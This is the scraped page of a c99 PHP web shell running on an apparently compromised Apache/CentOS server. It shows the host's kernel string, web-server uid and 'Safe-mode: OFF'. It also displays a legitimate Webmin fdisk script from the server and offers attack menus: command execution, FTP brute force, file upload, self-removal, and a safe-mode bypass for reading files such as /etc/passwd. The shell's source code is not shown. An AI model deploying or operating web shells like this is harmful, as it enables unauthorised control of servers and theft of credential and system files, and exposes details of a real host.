!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/fdisk/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.cgi (2.6 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# index.cgi
# Display a list of known disks and partitions

require './fdisk-lib.pl';
&error_setup($text{'index_err'});
&check_fdisk();

# Work out which disks are accessible
@disks = &list_disks_partitions();
@disks = grep { $access{'view'} || &can_edit_disk($_->{'device'}) } @disks;
if (@disks == 1 && &can_edit_disk($disks[0]->{'device'})) {
    # Just one .. go direct to it's page
    &redirect("edit_disk.cgi?device=$disks[0]->{'device'}");
    edit;
    }

$pdesc = $has_parted ? $text{'index_parted'} : $text{'index_fdisk'};
&ui_print_header($pdesc, $module_info{'desc'}, "", undef, 1, 1, 0,
    &help_search_link("fdisk", "man", "doc", "howto"));
$extwidth = 250;

# Check for critical commands
if ($has_parted) {
    &has_command("parted") ||
        &ui_print_endpage(&text('index_ecmd', '<tt>parted</tt>'));
    }
else {
    &has_command("fdisk") ||
        &ui_print_endpage(&text('index_ecmd', '<tt>fdisk</tt>'));
    }

# Show a table of just disks
@disks = sort { $a->{'device'} cmp $b->{'device'} } @disks;
if (@disks) {
    ($hasctrl) = grep { defined($d->{'scsiid'}) ||
                defined($d->{'controller'}) ||
                $d->{'raid'} } @disks;
    print &ui_columns_start([ $text{'index_dname'},
                  $text{'index_dsize'},
                  $text{'index_dmodel'},
                  $text{'index_dparts'},
                  $hasctrl ? ( $text{'index_dctrl'} ) : ( ),
                  $text{'index_dacts'} ]);
    foreach $d (@disks) {
        $ed = &can_edit_disk($d->{'device'});
        $smart = &supports_smart($d);
        @links = ( );
        @ctrl = ( );
        if (defined($d->{'scsiid'}) && defined($d->{'controller'})) {
            push(@ctrl, &text('index_dscsi', $d->{'scsiid'},
                                 $d->{'controller'}));
            }
        if ($d->{'raid'}) {
            push(@ctrl, &text('index_draid', $d->{'raid'}));
            }
        if ($ed && &supports_hdparm($d)) {
            # Display link to IDE params form
            push(@links, "<a href='edit_hdparm.cgi?".
                 "disk=$d->{'index'}'>$text{'index_dhdparm'}</a>");
            }
        if (&supports_smart($d)) {
            # Display link to smart module
            push(@links, "<a href='../smart-status/index.cgi?".
                "drive=$d->{'device'}:'>$text{'index_dsmart'}</a>");
            }
        if ($ed) {
            push(@links, "<a href='blink.cgi?".
                               "disk=$d->{'index'}'>$text{'index_blink'}</a>");
                    }
        print &ui_columns_row([
            $ed ? "<a href='edit_disk.cgi?device=$d->{'device'}'>".
                    $d->{'desc'}."</a>"
                : $d->{'desc'},
            $d->{'size'} ? &nice_size($d->{'size'}) : "",
            $d->{'model'},
            scalar(@{$d->{'parts'}}),
            $hasctrl ? ( join(" ", @ctrl) ) : ( ),
            &ui_links_row(\@links),
            ]);
        }
    print &ui_columns_end();
    }
else {
    print "<b>$text{'index_none2'}</b><p>\n";
    }

&ui_print_footer("/", $text{'index'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0135 ]--